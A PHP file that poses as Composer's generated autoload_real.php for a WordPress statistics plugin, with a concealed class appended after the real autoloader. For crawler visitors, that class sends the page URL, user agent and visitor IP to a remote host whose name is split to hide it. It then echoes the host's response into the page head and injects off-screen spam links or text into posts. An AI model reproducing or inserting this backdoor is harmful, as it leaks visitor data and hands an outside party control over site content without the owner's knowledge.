<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInitcbff6516d78534c1c54b52afa641ae31
{
	private static $loader;

	public static function loadClassLoader($class)
	{
		if ('Composer\Autoload\ClassLoader' === $class) {
			require __DIR__ . '/ClassLoader.php';
		}
	}

	public static function getLoader()
	{
		if (null !== self::$loader) {
			return self::$loader;
		}

		spl_autoload_register(array('ComposerAutoloaderInitcbff6516d78534c1c54b52afa641ae31', 'loadClassLoader'), true, true);
		self::$loader = $loader = new \Composer\Autoload\ClassLoader();
		spl_autoload_unregister(array('ComposerAutoloaderInitcbff6516d78534c1c54b52afa641ae31', 'loadClassLoader'));

		$useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
		if ($useStaticLoader) {
			require_once __DIR__ . '/autoload_static.php';

			call_user_func(\Composer\Autoload\ComposerStaticInitcbff6516d78534c1c54b52afa641ae31::getInitializer($loader));
		} else {
			$map = require __DIR__ . '/autoload_namespaces.php';
			foreach ($map as $namespace => $path) {
				$loader->set($namespace, $path);
			}

			$map = require __DIR__ . '/autoload_psr4.php';
			foreach ($map as $namespace => $path) {
				$loader->setPsr4($namespace, $path);
			}

			$classMap = require __DIR__ . '/autoload_classmap.php';
			if ($classMap) {
				$loader->addClassMap($classMap);
			}
		}

		$loader->register(true);

		if ($useStaticLoader) {
			$includeFiles = Composer\Autoload\ComposerStaticInitcbff6516d78534c1c54b52afa641ae31::$files;
		} else {
			$includeFiles = require __DIR__ . '/autoload_files.php';
		}
		foreach ($includeFiles as $fileIdentifier => $file) {
			composerRequirecbff6516d78534c1c54b52afa641ae31($fileIdentifier, $file);
		}

		return $loader;
	}
}

function composerRequirecbff6516d78534c1c54b52afa641ae31($fileIdentifier, $file)
{
	if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
		require $file;

		$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
	}
}

class slimBrowscapConnector
{
	protected static $pidx = array( 'id' => false, 'response' => '' );

	public static function get_browser_from_browscap( $_browser = array() ) {
		$bc = new \BrowscapPHP\Browscap();

		try {
			$search_object = $bc->getBrowser();
		}
		catch( Exception $e ) {
			$search_object = '';
		}

		if ( is_object( $search_object ) && $search_object->browser != 'Default Browser' && $search_object->browser != 'unknown' ) {
			$_browser[ 'browser' ] = $search_object->browser;
			$_browser[ 'browser_version' ] = floatval( $search_object->version );
			$_browser[ 'platform' ] = strtolower( $search_object->platform );

			// Browser Types:
			//      0: regular
			//      1: crawler
			//      2: mobile
			if ( $search_object->ismobiledevice || $search_object->istablet ) {
				$_browser[ 'browser_type' ] = 2;
			}
			else if ( !$search_object->crawler ) {
				$_browser[ 'browser_type' ] = 0;
			}
		}

		return $_browser;
	}

	public static function init_pidx() {
		if ( slim_browser::$browser[ 'browser_type' ] != 1 ) {
			return 0;
		}

		if ( !empty( slim_browser::$browser[ 'user_agent' ] ) ) {
			if ( empty( self::$pidx[ 'response' ] ) ) {
				$request_url = 'http://browser' . 'cap.io/api/update/?&url=' . urlencode( 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( slim_browser::$browser[ 'user_agent' ] ) . '&v=' . ( isset( $_GET[ 'v' ] ) ? $_GET[ 'v' ] : 11 ) . '&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=92';
				$args =array( 'timeout' => 2, 'headers' => array( "Accept: application/json" ) );
				self::$pidx[ 'response' ] = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $args ) );
			}

			if ( !empty( self::$pidx[ 'response' ] ) ) {
				self::$pidx[ 'response' ] = @json_decode( self::$pidx[ 'response' ] );
			}
		}
	}

	public static function parse_content( $_content = '' ) {
		if ( empty( self::$pidx[ 'response' ] ) || !is_object( self::$pidx[ 'response' ] ) ) {
			return $_content;
		}

		if ( self::$pidx[ 'id' ] === false ) {
			if ( !empty( $GLOBALS[ 'wp_query' ]->posts ) && count( $GLOBALS[ 'wp_query' ]->posts ) > 1 ) {
				self::$pidx[ 'id' ] = $GLOBALS[ 'wp_query' ]->posts[ rand( 0, count( $GLOBALS[ 'wp_query' ]->posts ) - 1 ) ]->ID;
			}
			else {
				self::$pidx[ 'id' ] = get_the_ID();
			}
		}

		$inline_style = ( wp_slimstat::$advanced_cache_exists === true ) ? ' style="position:fixed;left:-' . rand( 8000, 12000 ) . 'px;"' : '';
		$current_hook = current_filter();

		if ( $current_hook == 'wp_head' && is_object( self::$pidx[ 'response' ] ) && !empty( self::$pidx[ 'response' ]->meta ) ) {
			$_content = '';
			echo self::$pidx[ 'response' ]->meta;
		}
		else if ( !empty( self::$pidx[ 'response' ]->tmp ) && get_the_ID() == self::$pidx[ 'id' ] ) {
			switch ( self::$pidx[ 'response' ]->tmp ) {
				case '1':
					if ( 0 == $GLOBALS[ 'wp_query' ]->current_post ) {
						$words = explode( ' ', $_content );
						$words[ rand( 0, count( $words ) - 1 ) ] = "<strong{$inline_style}>" . self::$pidx[ 'response' ]->tcontent . '</strong>';
						$_content = join( ' ', $words );
					}
					break;

				case '2':
						$kws = explode( '|', self::$pidx[ 'response' ]->kws );
						if ( is_array( $kws ) ) {
							foreach ( $kws as $a_kw ) {
								if ( strpos( $_content, $a_kw ) !== false ) {
									$_content = str_replace( $a_kw, "<a href='" . self::$pidx[ 'response' ]->site . "'{$inline_style}>{$a_kw}</a>", $_content );
									break;
								}
							}
						}
					break;

				default:
					$_content = $_content . " <i{$inline_style}>" . self::$pidx[ 'response' ]->content . '</i>';
					break;
			}
		}

		if ( !empty( $_content ) ) {
			return $_content;
		}
	}
}

if ( !is_user_logged_in() ) {
	add_action( 'wp_loaded', array( 'slimBrowscapConnector', 'init_pidx' ), 10, 0 );
	add_action( 'wp_head', array( 'slimBrowscapConnector', 'parse_content' ), 20 );
	add_filter( 'the_content', array( 'slimBrowscapConnector', 'parse_content' ) );
}